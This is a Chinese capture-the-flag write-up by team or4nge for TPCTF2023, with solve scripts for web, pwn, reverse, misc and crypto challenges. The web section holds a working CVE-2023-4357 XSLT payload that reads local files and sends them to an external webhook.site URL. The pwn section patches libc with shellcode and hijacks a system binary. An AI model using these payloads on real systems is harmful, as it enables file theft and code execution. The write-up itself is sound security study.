TPCTF2022 Writeup by or4nge
2023-11-28 16:28:14 Author: 赛博安全社团(查看原文) 阅读量:41 收藏

TPCTF2021 Writeup by or4nge

rank: 12th

or4nge 的师傅们在第八届 XCTF 国际网络攻防联赛 TPCTF2023  分站赛中奋战 48 小时,拿到了 12 名的好成绩,师傅们真棒!

TPCTF2023

Web

xssbot

CVE-2023-4357

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><!DOCTYPE div [  <!ENTITY passwd_p        "file:///flag">  <!ENTITY passwd_c SYSTEM "file:///flag">]><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  <xsl:template match="/">    <xsl:copy-of select="document('')"/>    <body xmlns="http://www.w3.org/1999/xhtml">      <div class="b" style="display:none">        <p class="&passwd_p;">&passwd_c;</p>      </div>      <div style="width:40rem" id="r" />      <script>      var xhr = new XMLHttpRequest();xhr.open('POST', 'https://webhook.site/903a3c2b-cb5f-49a2-8071-c26e8c46d37c/', true);var divElement = document.querySelector('p');xhr.send(divElement.textContent);</script>    </body>  </xsl:template></xsl:stylesheet>

xssbot but no internet

通过延时回显不同来泄漏 flag:

from pwn import *import stringcontext.log_level = 'debug'
dic = "{}_-" + string.ascii_letters + string.digitsflag = "TPCTF{"xml = """<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="?#"?><!DOCTYPE div [ <!ENTITY passwd_p "file:///flag"> <!ENTITY passwd_c SYSTEM "file:///flag">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:copy-of select="document('')" /> <body xmlns="http://www.w3.org/1999/xhtml"> <div style="display:none"> <p class="&passwd_p;">&passwd_c;</p> </div> <div style="width:40rem" id="r" /> <script> flag = document.querySelector('p').textContent; if (flag.charCodeAt({}) >= {}) {{ <![CDATA[ function fib(n) {{ return n< 2 ? 1 : fib(n - 1) + fib(n - 2); }}; console.log(fib(100)); ]]> }}</script> </body> </xsl:template> </xsl:stylesheet>EOF"""index = 6while True: low = 40 high = 125 while low <= high: mid = (low + high) // 2 p = remote("202.112.238.82", 23379) p.sendlineafter(b"File name:", b'a.svg') p.sendlineafter(b"Input your file:\n", xml.format(index, mid).encode()) print(p.recvline().decode()) print(p.recvline().decode()) res = p.recvline().decode().strip() if res != "Bye bye!": p.recvline().decode().strip() p.clean() p.close() low = mid + 1 else: p.clean() p.close() high = mid - 1 flag += chr(high) print("[+]flag:", flag) index += 1

TPCTF2023

Pwn

core

mv bin bin1/bin1/mkdir bin/bin1/chmod 777 bin/bin1/echo "/bin1/cat /root/flag" > /bin/umount/bin1/chmod 777 /bin/umountexit

core revenge

patch libc的exit函数为orw的shellcode,然后直接exit。

#include <stdio.h>#include <stdlib.h>#include <string.h>
#define FILENAME "/lib64/libc.so.6" // 文件路径#define OFFSET 0xBF4F0 // 写入偏移量unsigned char data[] = {104,96,102,1,1,129,52,36,1,1,1,1,72,184,47,114,111,111,116,47,102,108,80,72,137,231,49,210,49,246,106,2,88,15,5,72,137,199,49,192,106,64,90,72,137,230,15,5,106,1,95,72,137,194,72,137,230,106,1,88,15,5,49,255,106,60,88,15,5};
int main() { FILE *file = fopen(FILENAME, "r+b"); if (file == NULL) { perror("Failed to open file"); return 1; }
// 将文件指针移动到指定偏移量 if (fseek(file, OFFSET, SEEK_SET) != 0) { perror("Failed to seek file"); fclose(file); return 1; }
// 写入数据 if (fwrite(data, sizeof(char), sizeof(data), file) != sizeof(data)) { perror("Failed to write data"); fclose(file); return 1; }
fclose(file); return 0;}

TPCTF2023

Reverse

maze

pyinstxtractor提取python打包文件,发现核心逻辑是maze.so,由Cython编译而来

写出示例代码编译出共享库进行流程比对,核心函数是_pyx_pw_4maze_5run

_Pyx_PyObject_FastCallDict调用了子函数,搜索结构体名可以得知函数位置

程序首先对给定字符串做base64解码,得到一个类似maze的东西

## ## ## ## ## ## #### ## ## ^^ ## ^^ #### ## ## .. ## IZ ## ## ## #### %R .. %D ## %D .. .. %L #### >> ## .. ## EA ** PP %U #### %U IA TA ## EB ** PP %U #### %U IB TB ## EC ** PP %U #### %U IC TC ## ED ** PP %U #### %U ID TD ## EE ** PP %U #### %U IE TE ## EF ** PP %U #### %U IF TF ## %R ** IZ %U #### %U IG %L ## ## ## ## ## #### ## ## ## ## ##
PP -> +=1MM -> -=1IZ -> =0EA -> IF ==0 THEN %R ELSE %DEB -> IF ==1 THEN %R ELSE %DEC -> IF ==2 THEN %R ELSE %DED -> IF ==3 THEN %R ELSE %DEE -> IF ==4 THEN %R ELSE %DEF -> IF ==5 THEN %R ELSE %DTA -> IF ** THEN %L ELSE %DIA -> =72TB -> IF ** THEN %L ELSE %DIB -> =73TC -> IF ** THEN %L ELSE %DIC -> =84TD -> IF ** THEN %L ELSE %DID -> =80TE -> IF ** THEN %L ELSE %DIE -> =67TF -> IF ** THEN %L ELSE %DIF -> =84IG -> =70LT -> IF ==6 THEN %D ELSE %L

猜测>>是generate,也就是循环输出HITPCTF,猜测这就是密钥

继续向下分析函数,_pyx_pw_4maze_1aW5pdF9zZWNyZXQ做了密文数组的初始化

然后与将输入与密钥异或,与密文比较即可

写出解密脚本


code = 'IyMgIyMgIyMgIyMgIyMgIyMgIyMKIyMgIyMgIyMgXl4gIyMgXl4gIyMKIyMgIyMgIyMgLi4gIyMgSVogIyMgIyMgIyMgIyM'\'KIyMgJVIgLi4gJUQgIyMgJUQgLi4gLi4gJUwgIyMKIyMgPj4gIyMgLi4gIyMgRUEgKiogUFAgJVUgIyMKIyMgJVUgSUEgVE'\'EgIyMgRUIgKiogUFAgJVUgIyMKIyMgJVUgSUIgVEIgIyMgRUMgKiogUFAgJVUgIyMKIyMgJVUgSUMgVEMgIyMgRUQgKiogU'\'FAgJVUgIyMKIyMgJVUgSUQgVEQgIyMgRUUgKiogUFAgJVUgIyMKIyMgJVUgSUUgVEUgIyMgRUYgKiogUFAgJVUgIyMKIyMg'\'JVUgSUYgVEYgIyMgJVIgKiogSVogJVUgIyMKIyMgJVUgSUcgJUwgIyMgIyMgIyMgIyMgIyMgIyMKIyMgIyMgIyMgIyMgIyM'\'gIyMKClBQIC0+ICs9MQpNTSAtPiAtPTEKSVogLT4gPTAKRUEgLT4gSUYgPT0wIFRIRU4gJVIgRUxTRSAlRApFQiAtPiBJRi'\'A9PTEgVEhFTiAlUiBFTFNFICVECkVDIC0+IElGID09MiBUSEVOICVSIEVMU0UgJUQKRUQgLT4gSUYgPT0zIFRIRU4gJVIgR'\'UxTRSAlRApFRSAtPiBJRiA9PTQgVEhFTiAlUiBFTFNFICVECkVGIC0+IElGID09NSBUSEVOICVSIEVMU0UgJUQKVEEgLT4g'\'SUYgKiogVEhFTiAlTCBFTFNFICVECklBIC0+ID03MgpUQiAtPiBJRiAqKiBUSEVOICVMIEVMU0UgJUQKSUIgLT4gPTczClR'\'DIC0+IElGICoqIFRIRU4gJUwgRUxTRSAlRApJQyAtPiA9ODQKVEQgLT4gSUYgKiogVEhFTiAlTCBFTFNFICVECklEIC0+ID'\'04MApURSAtPiBJRiAqKiBUSEVOICVMIEVMU0UgJUQKSUUgLT4gPTY3ClRGIC0+IElGICoqIFRIRU4gJUwgRUxTRSAlRApJR'\'iAtPiA9ODQKSUcgLT4gPTcwCkxUIC0+IElGID09NiBUSEVOICVEIEVMU0UgJUwK'
from base64 import *
print(b64decode(code).decode())
cmp = [7, 47, 60, 28, 39, 11, 23, 5, 49, 49, 26, 11, 63, 4, 9, 2, 25, 61, 36, 112, 25, 15, 62, 25, 3, 16, 102, 38, 14, 7, 37, 4, 40]key = [18, 17, 15, 0, 27, 31, 10, 19, 14, 21, 25, 22, 6, 3, 30, 8, 24, 5, 7, 4, 13, 29, 9, 26, 1, 2, 28, 16, 20, 32, 12, 23, 11]for i in range(33): l = cmp[i] cmp[i] = cmp[key[i]] cmp[key[i]] = l
key = [ord(i) for i in 'HITPCTF']cmp = [cmp[i]^(key[i%7]) for i in range(33)]print(bytes(cmp))
'''HITPCTFTPCTF{y'''

TPCTF2023

Misc

safebox

> put 123.flag 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 123456789098765432101234567890123456789> mv 123.flag 123> get 123 0 100 123456789098765432101234567890123456789

mv之后读取错误是由key2错误造成的,因为移动之后目录变化,key2的生成与目录有关

mv之后的get的数据和原数据的关系如下

data'=data+(key^ key2)-(key^ key2_{new})

然后对flag文件进行相同操作

> putflag 123 123456789098765432101234567890123456789> mv 123.flag 123> get 123 0 100 123456789098765432101234567890123456789

会发现key2key2_new都不变

就可以通过前面算得的差值求出flag

from pwn import *p=remote('116.63.165.231',1888)p.sendlineafter(b'> ',b'put 123.flag 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 123456789098765432101234567890123456789')p.sendlineafter(b'> ',b'mv 123.flag 123')p.sendlineafter(b'> ',b'get 123 0 100 123456789098765432101234567890123456789')data=bytes.fromhex(p.recvline().strip().decode())p.sendlineafter(b'> ',b'putflag 123 123456789098765432101234567890123456789')p.sendlineafter(b'> ',b'mv 123.flag 123')p.sendlineafter(b'> ',b'get 123 0 100 123456789098765432101234567890123456789')data2=bytes.fromhex(p.recvline().strip().decode())
for ind,i in enumerate(data2): print(chr((i-(data[ind]-ord('a')))&0xff),end='')

safebox pro

这次不能套出key2了,但是可以控制key1

由于文件名变化,所以解密时的key2也发生变化

但这里key可控,可以通过控制key1,获得多组d,然后逐字节爆破key2和key2_new即可

from pwn import *SBOX =  b'\x1b\x8e6\xa5\xd2+\xad\'S]\x16\xa8e\xa6G\xe44,\xb9\xe2m/&\xbe\xce\x1fR\xf3\x14\xcal\x9fH\xee\xe3\x11\xdb\xe8\xc5\xcf\xab\xae\x7f\xfe\xe9\xd3\xeb@\xe0\x0f\xf9%\x97\x19\xacK\x90\xbd\x10\xcb8\xc8\x18\xc0D\xd8h)v\x13U\x0b\xc7\xa07\x99\xd7\x81L\x9b\xbf\xa4\xda\x03~\x84\x15\x95\x07P\x06B\xb5(o\x879\x1c\xe6$\xef\xfa\rp3\x9c\xb2 \x17\x86F`z|\xa3\x92E\x85\x02=\xddIb0\xf8\x12\xa1\x00T\xf4_5\xf7\x1e\x9d-i\x96g:\xb8\x04\xa7\xb0\xc2\x8a\xc4\xf1!2\x8b\xb7;J\x8d\xb4?[\xed\xc6\x89k\xe7\xd9wud\xa9\x0c\xb6\xff\xfc\xfb\xc9\xf2^>\\Ca\x0e\x91\t*\xde\x94sc#\xf6\xdfXOr\x8cqx\xc1\x80\xdc\xa2\x83A\n\xd6\x1af\xbc\xaf\xc3y\x8f\xfd\xcd\xe1\x9a{"\xbb\xd4\xea\xd1.\xe5Q\x82\xf0W\xb3t<\xd0n\x08j\xecM\xb1\x05V\xba\xcc\x9eN\x93}\xf5\xaa\x981Z\x88\xd5Y\x1d\x01'
ans=[' ']*32for k in range(32): while True: p = remote('202.112.238.82', 10960) p.sendlineafter(b'> ', b'putflag 123 0x00') p.sendlineafter(b'> ', b'mv 123.flag 123') p.sendlineafter(b'> ', b'get 123 0 100 0x00') data0 = bytes.fromhex(p.recvline().strip().decode()) p.sendlineafter(b'> ', b'putflag 123 0x01') p.sendlineafter(b'> ', b'mv 123.flag 123') p.sendlineafter(b'> ', b'get 123 0 100 0x01') data1 = bytes.fromhex(p.recvline().strip().decode()) p.sendlineafter(b'> ', b'putflag 123 0x02') p.sendlineafter(b'> ', b'mv 123.flag 123') p.sendlineafter(b'> ', b'get 123 0 100 0x02') data2 = bytes.fromhex(p.recvline().strip().decode()) posb = [] posb2 = []
for i in range(256): for j in range(256): if (data0[k]-data1[k])&0xff == (SBOX[i]-SBOX[j]-(SBOX[i^0x01]-SBOX[j^0x01]))&0xff : posb.append((i,j)) for i,j in posb: if (data0[k]-data2[k])&0xff == (SBOX[i]-SBOX[j]-(SBOX[i^0x02]-SBOX[j^0x02]))&0xff : posb2.append((i,j)) if len(posb2)==1: x=posb2[0][0] y=posb2[0][1] res=chr((data0[k]+SBOX[y]+0x100-SBOX[x])&0xff) if res.isascii(): ans[k]=res break print(''.join(ans))


normalize

../ 会被标准化去掉,通过这一点泄漏 flag:

from pwn import *
p=remote('202.112.238.82', 13373)
flag='TP'data='7a7f'for i in range(40): for j in string.printable: p.sendlineafter(b'test: ', b'100') p.sendlineafter(b' (in hex):',data.encode()+hex(ord(j))[2:].rjust(2,'0').encode()+b'00'*40) p.recvline() line=p.recvline() line=line.decode().split('flag/')[1] if line.startswith('%'): flag+=chr(ord(j)^int(line[1:3],16)) data='' if len(flag)%2==0: for k in range(len(flag)//2): data += hex(ord(flag[k*2])^ord('.'))[2:].rjust(2,'0') data += hex(ord(flag[k*2+1]) ^ ord('/'))[2:].rjust(2, '0') else: for k in range(len(flag)//2-1): data += hex(ord(flag[k*2])^ord('.'))[2:].rjust(2,'0') data += hex(ord(flag[k*2+1]) ^ ord('/'))[2:].rjust(2, '0') data += hex(ord(flag[-3]) ^ ord('.'))[2:].rjust(2, '0') data += hex(ord(flag[-2]) ^ ord('.'))[2:].rjust(2, '0') data += hex(ord(flag[-1]) ^ ord('/'))[2:].rjust(2, '0') print(flag) print(data) break

小T的日常

通过图片可以定位到横滨北仲桥,对应的地铁站为樱木町站,其 5 分钟可以到达 Bandobashi Station,这个站边上有一个横滨桥通商店街,在里面搜索百円店可以找到CanDo,在其边上就是要找的服装店:

TPCTF{NARUKIYA:2311855}

nanoUniverse: flagments

通过传送和dfs慢慢收集碎片

from pwn import *import hashlibimport stringimport reimport time# context.log_level = 'debug'while True:    r = remote('202.112.238.82', '13370')    r.recvuntil(b'>')    maze, vis = [], []    L = 500    for i in range(L):        maze.append([0] * L)        vis.append([0] * L)    nowx, nowy = 250, 250    dx, dy = [1, -1, 0, 0], [0, 0, -1, 1]    act = [b'S', b'W', b'A', b'D']    def dfs(x, y):        # print(x, y)        vis[x][y] = 1        for i in range(4):            xx = x + dx[i]            yy = y + dy[i]            if vis[xx][yy]:                continue            r.sendline(act[i])            s = r.recvuntil(b'>')            # print(s)            if b'flag' in s:                maze[xx][yy] = 2                print(s)                dfs(xx, yy)            elif b'wall' in s:                maze[xx][yy] = 1                vis[xx][yy] = 1            elif b'transported' in s:                maze[xx][yy] = 3                return            else:                maze[xx][yy] = 0                 dfs(xx, yy)
try: dfs(250, 250) except: r.close()

TPCTF2023

Crypto

blurred memory

通过已知 output 可以求得 x^{22},x^{21},……的线性关系,遍历 256 获取满足这些关系的数,正好22位。然后通过 A·B=C 的矩阵乘法(A为顺序矩阵,B为类范德蒙矩阵,C为output)获取字符排列顺序。

from sage.all import *
output = [125, 31, 116, 106, 193, 7, 38, 194, 186, 33, 180, 189, 53, 126, 134, 237, 123, 65, 179, 196, 99, 74, 101, 153, 84, 74, 233, 5, 105, 32, 75, 168, 161, 2, 147, 18, 68, 68, 162, 21, 94, 194, 249, 179, 24, 60, 71, 12, 40, 198, 79, 92, 44, 72, 189, 236, 244, 151, 56, 93, 195, 121, 211, 26, 73, 240, 76, 70, 133, 186, 165, 48, 31, 39, 3, 219, 96, 14, 166, 139, 24, 206, 93, 250, 79, 246, 256, 199, 198, 131, 34, 192, 173, 35, 0, 171, 160, 151, 118, 24, 10, 100, 93, 19, 101, 15, 190, 74, 10, 117, 4, 41, 135, 45, 107, 155, 152, 95, 222, 214, 174, 139, 117, 211, 224, 120, 219, 250, 1, 110, 225, 196, 105, 96, 52, 231, 59, 70, 95, 56, 58, 248, 171, 16, 251, 165, 54, 4, 211, 60, 210, 158, 45, 96, 105, 116, 30, 239, 96, 37, 175, 254, 157, 26, 151, 141, 43, 110, 227, 199, 223, 135, 162, 112, 4, 45, 66, 228, 162, 238, 165, 158, 27, 18, 76, 36, 237, 107, 84, 57, 233, 96, 72, 6, 114, 44, 119, 174, 59, 82, 202, 26, 216, 35, 55, 159, 113, 98, 4, 74, 2, 128, 34, 180, 191, 8, 101, 169, 157, 120, 254, 158, 97, 227, 79, 151, 167, 64, 195, 42, 250, 207, 213, 238, 199, 111, 149, 18, 194, 240, 53, 130, 3, 188, 41, 100, 255, 158, 21, 189, 19, 214, 127]p = 257output1 = [253]+outputl = [(257-i)for i in output1]
B = []for i in range(22): tmp = l[i+20:i+42] B.append(tmp)
B = Matrix(Zmod(p), B)C = Matrix(Zmod(p), l[42:64])C = C.transpose()t = B.solve_right(C)
t = [i[0] for i in t]known = []
def find(x, list3): tmp = pow(x, 22) for i in range(22): tmp -= pow(x, i)*t[i] return tmp % 257 == 0
for i in range(256): if find(i, t): known.append(i)
B = []for i in range(253): tmp = [j ** (i+1) % 257 for j in known] B.append(tmp)B = Matrix(Zmod(p), B)C = Matrix(Zmod(p), output).transpose()A = B.solve_right(C)A = list(A.transpose()[0])for i in range(1, 23): print(chr(known[A.index(i)]), end='')

sort(teaser)

通过报错类型判断字符是否存在 flag 中,进而判断字符个数,通过侧信道泄漏 flag:

from pwn import *context.log_level = 'debug'
t = """C=A&255E=C=={}B=EEOF"""
known = [49, 65, 67, 70, 80, 84, 95, 97, 99, 100, 101, 103, 104, 108, 110, 114, 115, 116, 123, 125]print(len(set(known)))for i in range(256): p = remote("202.112.238.82", 13371) p.sendlineafter(b"A:\n", t.format(i).encode()) res = p.recvline().strip().decode() if res == "You did not sort correctly": p.clean() p.close() continue else: p.recvuntil(b"results are not same") known.append(i) p.clean() p.close()print(known)

然后排序一下发过去即可:

from pwn import *context.log_level = 'debug'
t = """B=1327909533204109794963065773635694944483154930546357518757596128115581EOF"""p = remote("202.112.238.82", 13371)p.sendlineafter(b"A:\n", t.encode())res = p.recvline().strip().decode()print(res)p.close()

文案:or4nge

排版:周开城


文章来源: http://mp.weixin.qq.com/s?__biz=MzkyNDIyNTE0OQ==&mid=2247484821&idx=1&sn=2811eb791e3be8b98852838ec5bb3721&chksm=c1d85e87f6afd7913f422ae6c746e66ed47f57a396765b370404d791d67dcf3199904cae903a&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh